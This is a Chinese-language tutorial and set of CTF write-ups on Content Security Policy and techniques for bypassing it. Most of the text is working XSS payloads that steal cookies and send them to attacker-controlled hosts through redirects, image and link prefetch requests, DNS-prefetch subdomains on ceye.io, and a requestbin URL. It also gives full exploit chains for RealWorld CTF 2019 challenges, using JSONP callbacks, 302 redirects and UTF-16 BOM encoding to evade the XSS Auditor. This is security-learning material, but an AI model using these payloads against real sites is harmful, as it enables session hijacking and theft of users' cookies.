CSP的知识总结和绕过

前言:

由于最近在打比赛时经常遇到各种CSP知识因此自己总结一波。

什么是CSP?

1
2
通过声明允许通过HTTP标头加载哪些动态资源,
新的Content-Security-Policy HTTP响应标头可帮助您降低现代浏览器的XSS风险。

CSP(内容安全策略)在HTTP响应头中规定,可以减少XSS攻击。如下所示:

1
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com;

指令参考:

1.不同指令间用;隔开
2.同一指令的多个指令之间用空格分隔
3.指令值除了URL都要用引号包裹
4.指令重复,则以第一个为准
指令 示例 说明
default-src ‘self’ cdn.example.com 定义资源默认加载策略
script-src ‘self’ js.example.com 定义 JS 的加载策略
img-src ‘self’ img.example.com 定义图片的加载策略
style-src ‘self’ css.example.com 定义样式表的加载策略
font-src font.example.com 定义字体的加载策略、
object-src ‘self’ 定义引用资源的加载策略,如
media-src media.example.com 定义音频和视频的加载策略,如 HTML5 中的
connect-src ‘self’ 定义 Ajax、WebSocket 等的加载策略
frame-src ‘self’ 定义 frame 的加载策略,不赞成使用,改用 child-src

详细的source list:

源值 示例 说明
* img-src * 通配符,允许除 data: blob: filesystem: 协议之外的任意 URL
‘none’ object-src ‘none’ 不允许加载任何资源
‘self’ script-src ‘self’ 允许加载同域(即同域名、同协议、同端口)下的资源
data: img-src ‘self’ data: 允许通过data协议加载资源如 data:image/jpeg; base64,base64_encode_data
domain.example.com img-src domain.example.com 允许加载指定域名下的资源
*.example.com img-src *.example.com 允许加载 example.com 下所有子域名的资源
‘unsafe-inline’ script-src ‘unsafe-inline’ 允许执行内联资源,如样式属性、事件、script 标签
‘unsafe-eval’ script-src ‘unsafe-eval’ 允许不安全的动态代码执行,如 JS 中的 eval() 函数
https://cdn.com img-src https://cdn.com 只允许给定域名下的通过 HTTPS 连接的资源
https: img-src https: 只允许通过 HTTPS 连接的资源

绕过不安全的CSP:

unsafe-inline

1
script-src 'self' 'unsafe-inline';
当开启了这个选项时,意味着可以执行内联资源,包括 JS、样式表等
假设我们这里的例子都有一个向管理员留言的功能,而目标都是让管理员访问我们的目标网站,从而获取一些信息,乃至很重要的 Cookie。
在没有过滤的条件下我们可以这样
1
2
3
4
5
6
7
<script>document.location='http://xxx.com'+document.cookie;</script>
<script>location.href='http://xxx.com'+document.cookie;</script>
<script>
const i = document.createElement('img');
i.src = 'http://xxx.com' + document.cookie;
document.body.appendChild(i);
</script>

过滤了点

Google CTF 2016 Wallowing Wallabies - Part Three
过滤了所有的点,属性的点可以用 [‘’] 的形式来代替,URL 我们可以用 String.fromCharCode 函数,所以最后的 payload 是
1
2
3
4
5
<script>
const i = document['createElement']('img');
i['src'] = String['fromCharCode'](http://xxx.com 所对应的 Ascii 码,用逗号分隔) + document['cookie'];
document['body']['appendChild'](i);
</script>

过滤了大部分关键字

ZCTF 2017 中就碰到了这样一道题。
1
2
3
4
5
6
7
8
9
10
(
)
eval
document
location
href
window
src
svg
img

这些常见的关键字都被拦截了,所以考虑一些冷门的发起请求的方法,搜到了长短短的 Twitter 中的一个 payload

1
<script>//# sourceMappingURL=https://xxx.com/?${escape(document.cookie)}</script>
因为我们不用获取 Cookie,所以完全可以实现我们的要求
PS://# sourceMappingURL 是用来请求一个 .map 文件,实现代码出错时直接显示原始代码,而不是经过压缩或其他转换操作后的代码,方便开发者调试
还有就是这个指令值出现在 style-src 中
1
style-src 'self' 'unsafe-inline';

Pwnhub 蓝猫师傅出的一道题 打开电脑, CSP 是长这样的

1
Content-Security-Policy: default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval'; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:;

我们可以提交一条 md5 值,后台显示方式和前段差不多,即

1
<a id="modal" class="detail" href="#detail" data-toggle="modal" contributor=aaangelwhu hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>
因为有 htmlspecialchars,对 < “ 进行了转义,即我们跳不出这个标签,所以不能用 script 标签,但是我们注意到 hexdata 是没有引号的,而且这个字段又是我们可控的,结合 style-src 的 unsafe-inline 值,可以在标签内使用内联样式
1
2
style=background-image:url(http://xxx.com)
style=background:url(http://xxx.com)
background-image 属性是用来为元素设置背景图像的

unsafe-eval

1
script 'self' 'unsafe-inline' 'unsafe-eval'
当上面的 unsafe-inline 和 unsafe-eval 都开启时,将会变得很危险
因为你过滤的一些关键字都可以用 eval 函数来绕过,比如
我们先对最基本的 payload 用 String.fromCharCode 函数来处理
1
2
document.location=http://xxx.com+document.cookie
String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101)
再用 eval 函数执行
1
<script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))</script>
这样就避开了很多关键字,当然不保证会直接过滤掉 eval
官方的定义
1
Link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future. A web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache. When the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache.
下面就说下几种可以实现预加载的方式

prefetch

1
<link rel="prefetch" href="http://xxx.com">
1
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
1
2
3
4
5
6
<script>
const i=document.createElement('link');
i.setAttribute('rel','prefetch');
i.setAttribute('href','http://xxx.com?'+document.cookie);
document.head.appendChild(i);
</script>

dns-prefetch

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址,当用户访问该资源时就可以加快 DNS 解析。
1
<link rel="dns-prefetch" href="http://xxx.com">
同样想要在
1
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
1
2
3
4
5
6
7
8
<script>
dcl = document.cookie.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (let i=0; i<dcl.length;i++){
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/\./g, "-") + ".wb7g7z.ceye.io\">";
}
</script>
因为域名的命名规则是 [.-a-zA-Z0-9]+,所以需要对一些特殊字符进行替换
然后到 ns 服务器上获取 DNS 查询记录就可以了,我用的是这个平台

preconnect

preconnect(预连接),与 DNS预解析 类似,但它不仅完成 DNS 预解析,还进行 TCP 握手和 TLS 协商
利用方式和上面类似

preload

preload 是一个新的 web 标准,提供了取回当前页面的特定资源更多的控制。它聚焦于取回当前页面并且提供了高优先权,而 prefetch 以低优先权取回下一个页面的资源
和其他属性值不同的是,它是由 connect-src 决定的,只有 CSP 长下面这样时才会对 href 里的资源发起请求
1
Content-Security-Policy: default-src 'self'; connect-src *;
然后就是和上面类似的 payload 了

prerender

测试了下好像已经不行了,没有 CSP 头也不行
302 Redirect Bypass
很多种情况下网站会有302重定向的页面,用来跳转到本站的其他资源或者外部链接
在 PHP 中一般这样来实现
1
header('Location: http://xxx.com');
我们看下官方的说明
1
2
3
4
5
6
7
4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
Directly loading https://example.com/redirector would pass, as it matches example.com.
Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.
也就是说只要产生跳转的页面在 CSP 下是可以访问的,那么就能实现跳转到其他页面,当然,这个页面得是和产生跳转的页面同域下的

上面总结了CSP的用法和他的一般绕过下面是一些实例:

realWorld CTF2019的Mission Invisible

题目源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<script>
var getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = unescape(window.location.search.substr(1)).match(reg);
if (r != null) return r[2];
return null;
};

function setCookie(name, value) {
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
}

function getCookie(name) {
var search = name + "=";
var offset = document.cookie.indexOf(search);
if (offset != -1) {
offset += search.length;
var end = document.cookie.indexOf(";", offset);
if (end == -1) {
end = document.cookie.length;
}
return unescape(document.cookie.substring(offset, end));
}
else return "";
}

function setElement(tag) {
tag = tag.substring(0, 1);
var ele = document.createElement(tag);
var attrs = getCookie("attrs").split("&");
for (var i = 0; i < attrs.length; i++) {
var key = attrs[i].split("=")[0];
var value = attrs[i].split("=")[1];
ele.setAttribute(key, value);
}
document.body.appendChild(ele);
}

var tag = getUrlParam("tag");
setCookie("tag", tag);
setElement(tag);

</script>

题目源码的分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Test</title>
</head>
<body>
<!--<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>-->
<script>
/**
* 正则表达式匹配/(^|&)tag=([^&]*)(&|$)/
* window.location.search.substr(1)截取?号后面的参数
* unescape()用来将形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),
* 用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。
* r[2]可以是这样一串字符:
* a=1attrs=onmouserover=1%26onfocus=alert(1)%26id=1%26tabindex=0
* @param name
* @returns {string|null}
*/
const getUrlParam = function (name) {
const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
const r = unescape(window.location.search.substr(1)).match(reg);
// console.log(r);
if (r != null) return r[2];
return null;
};

/**
* 这个函数用来设置cookie
* 可以是这样的:
* a=1attrs=onmouserover=1%26onfocus=alert(1)%26id=1%26tabindex=0
* @param name
* @param value
*/
function setCookie(name, value) {
const Days = 30;
const exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
}

/**
* search是attrs=是固定的
* document.cookie是tag=a=1attrs=onmouserover=1%26onfocus=alert(1)%26id=1%26tabindex=0
* 那么offset就是7
*/
function getCookie(name) {
const search = name + "=";
let offset = document.cookie.indexOf(search);
if (offset !== -1) {
offset += search.length;
let end = document.cookie.indexOf(";", offset);
if (end === -1) {
end = document.cookie.length;
}
return unescape(document.cookie.substring(offset, end));
}
else return "";
}

/**
* tag.substring(0,1)的值是a
* document.createElement(tag)用来创建一个元素a
* getCookie得到:onmouserover=1&onfocus=alert(1)&id=1&tabindex=0
* 最终会得到元素:
* <a onmouserover="1" onfocus="alert(1)" id="1" tabindex="0"></a>
* 利用url加描点#1可以触发
* 最后将cookie打到本地:
* http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1
* @param tag
*/
function setElement(tag) {
tag = tag.substring(0, 1);
const ele = document.createElement(tag);
const attrs = getCookie("attrs").split("&");
for (let i = 0; i < attrs.length; i++) {
const key = attrs[i].split("=")[0];
const value = attrs[i].split("=")[1];
ele.setAttribute(key, value);
}
document.body.appendChild(ele);
}

const tag = getUrlParam("tag");
setCookie("tag", tag);
setElement(tag);
</script>
</body>
</html>

最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const arr="window.location='http://127.0.0.1:80/'+document.cookie";

function charToAscii(string,mode) {
let result="";
let str=string;
const len=string.length;
for (let i=0;i<len;i++){
if(i===len-1)
result+=str.charCodeAt(i);
else
result+=str.charCodeAt(i)+mode;
}
return result;
}
console.log(charToAscii(arr,","));
const payload=String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,56,48,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101);
console.log(eval(payload));

realWorld CTF2019的hCorem:

题目介绍:

hCorem是利用易受攻击的脚本来注入XSS并检索最新浏览器的Cookie(Chrome v77.0.3865.75)
提供了包含构建任务的Docker容器所需的文件的归档文件。它包含以下文件:
1
2
3
4
5
6
7
8
9
.
├── docker-compose.yaml
├── dockerfile-php
├── hcorem.conf
├── html
│ ├── api.php
│ ├── hcorem.js
│ └── index.html
└── nginx.conf

源码分析:

源代码包含3个文件。代码简单明了,相对容易找到该漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function response(array $data = [], bool $success = true, string $message = ""): void
{
$callback = $_REQUEST['callback'] ?? null;
$_data = ['success' => $success, 'message' => $message, 'data' => $data];
if ($callback) {
echo sprintf("%s(%s)", $callback, json_encode($_data));
} else {
echo json_encode($_data);
}
}

switch ($_SERVER['PATH_INFO']) {
case '/qwq':
response([
'title' => 'uwu',
]);
break;
default:
header(sprintf("%s 404 Not Found", $_SERVER['SERVER_PROTOCOL']));
die('api not found.');
}
访问页面/api.php/qwq?callback=foobar将打印foobar({…}),从而导致XSS漏洞。

安全机制:

1
2
3
4
5
X-XSS-Protection
Content-Security-Policy
X-Frame-Options
X-Content-Type-Options
Referrer-Policy
前两个标头可以防止xss被利用。

内容安全政策:

Content-Security-Policy(CSP)标头设置为: default-src 'self'; object-src 'none'; base-uri 'none';
这意味着资源只能从同一域(self)加载,除了根本无法加载的对象。
CSP的绕过是要再次包含API。以下有效负载将在Firefox上显示一个警告框(其中没有第二种保护):
1
<script src="/api.php/qwq?callback=alert(1)//"></script>

X-XSS保护

X-XSS-Protection标头设置为: 1; mode=block
这会告诉Chrome以阻止模式启用XSS Auditor。
XSS Auditor是一种防止反射的XSS攻击的功能:如果<script>… GET / POST变量和正文中都存在XSS Auditor ,则浏览器会将请求识别为利用反射的XSS并将阻止页面。
我们必须绕过XSS Auditor的想法之一是通过指定不同的编码来欺骗浏览器。这个想法是由任务的名称(支持hCorem其Chrome在中端拼写)
通过在文档前放置字节顺序标记(BOM),可以将页面的编码更改为UTF-8,UTF-16BE或UTF16-LE:
通过在文档前放置字节顺序标记(BOM),可以将页面的编码更改为UTF-8,UTF-16BE或UTF16-LE:
  • 适用于UTF-8的0xEF 0xBB 0xBF
  • 适用于UTF-16BE的0xFE 0xFF
  • 适用于UTF-16LE的0xFF 0xFE
资料来源:编码,生活标准§6。标准挂钩
以下有效负载(未经URL编码以提高可读性)绕过XSS审核程序并触发警报:
1
2
3
4
00000000: ff fe 31 00 3c 00 73 00 63 00 72 00 69 00 70 00  ..1.<.s.c.r.i.p.
00000010: 74 00 3e 00 61 00 6c 00 65 00 72 00 74 00 28 00 t.>.a.l.e.r.t.(.
00000020: 31 00 29 00 3c 00 2f 00 73 00 63 00 72 00 69 00 1.).<./.s.c.r.i.
00000030: 70 00 74 00 3e 00 p.t.>.
两者结合
通过结合在前两个部分中找到的技巧,可以执行JavaScript代码:
1
2
3
4
5
6
7
8
9
00000000: ff fe 31 00 3c 00 73 00 63 00 72 00 69 00 70 00  ..1.<.s.c.r.i.p.
00000010: 74 00 20 00 73 00 72 00 63 00 3d 00 27 00 2f 00 t. .s.r.c.=.'./.
00000020: 61 00 70 00 69 00 2e 00 70 00 68 00 70 00 2f 00 a.p.i...p.h.p./.
00000030: 71 00 77 00 71 00 3f 00 63 00 61 00 6c 00 6c 00 q.w.q.?.c.a.l.l.
00000040: 62 00 61 00 63 00 6b 00 3d 00 61 00 6c 00 65 00 b.a.c.k.=.a.l.e.
00000050: 72 00 74 00 25 00 32 00 38 00 31 00 25 00 32 00 r.t.%.2.8.1.%.2.
00000060: 39 00 25 00 32 00 46 00 25 00 32 00 46 00 27 00 9.%.2.F.%.2.F.'.
00000070: 3e 00 3c 00 2f 00 73 00 63 00 72 00 69 00 70 00 >.<./.s.c.r.i.p.
00000080: 74 00 3e 00 t.>.

获取cookie:

该任务的目标是检索无头浏览器的cookie。
检索它们的最简单方法是使用重定向浏览器 document.location.href。与AJAX调用不同,此重定向不受CSP约束。
用于窃取Cookie的有效负载如下:
通过查看服务器的日志找到Cookie:

最终的payload:

1
2
3
4
5
6
7
8
9
10
<?php
$script = 'document.location.href = "http://requestbin.net/r/1jmju6u1/" + document.cookie//';
$payload = sprintf("<script src='/api.php/qwq?callback=%s'></script>", rawurlencode($script));

$buffer = "\xFF\xFE1";

for($i = 0; $i < strlen($payload); $i++)
$buffer .= "\x00" . $payload[$i];

echo rawurlencode($buffer . "\x00");

Hcorme的解法2:

题目说明:

首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用种并不多见,大多数callback的mime都是javascript。
与此同时有两个难点就是XSS Auditor限制和CSP的限制:
1
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';

解题思路:

1.bypass auditor:
用utf-16编码绕过:

这里先介绍一下%xx%xx这类url编码,他是16进制表示的:

utf-8表示
1
2
3
>>> from urllib.parse import quote,unquote
>>> print(quote(('杰').encode('utf-8')))
%E6%9D%B0
输出%E6%9D%B0
那么这个”杰"用utf-8编码就是0xe6 0x9d 0xb0,下面是utf-16下的”杰"的表示:
1
2
>>> print(quote(('杰').encode('utf-16')))
%FF%FEpg
输出%FF%FEpg:
你会发现无论用utf-16编码什么字符前两个字节都是%FF%FE:
1
2
3
4
5
6
>>> print(quote(('杰').encode('utf-16')))
%FF%FEpg
>>> print(quote(('玉').encode('utf-16')))
%FF%FE%89s
>>> print(quote(('李').encode('utf-16')))
%FF%FENg
因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。

绕过Bypass XSS Auditor

1
2
>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
可以发现成功插入标签但是是不可能执行的由于有CSP的保护。
可以用上面的方法直接绕过,因为CSP是内容安全策略,是定义资源加载安全的。
因此可以用跳转绕过。
还有可以用jsonp的方式把js代码挂载到本地绕过。
可以参考ins’hack 2019/的bypasses-everywhere

测试payload:

1
2
>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
进行了两次资源请求,第二次的资源的执行类型是script。

接着就是把flag打到自己的服务器就行了。

1
2
>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

总结完这两个题有一个感受:

纸上得来终觉浅,绝知此事要躬行。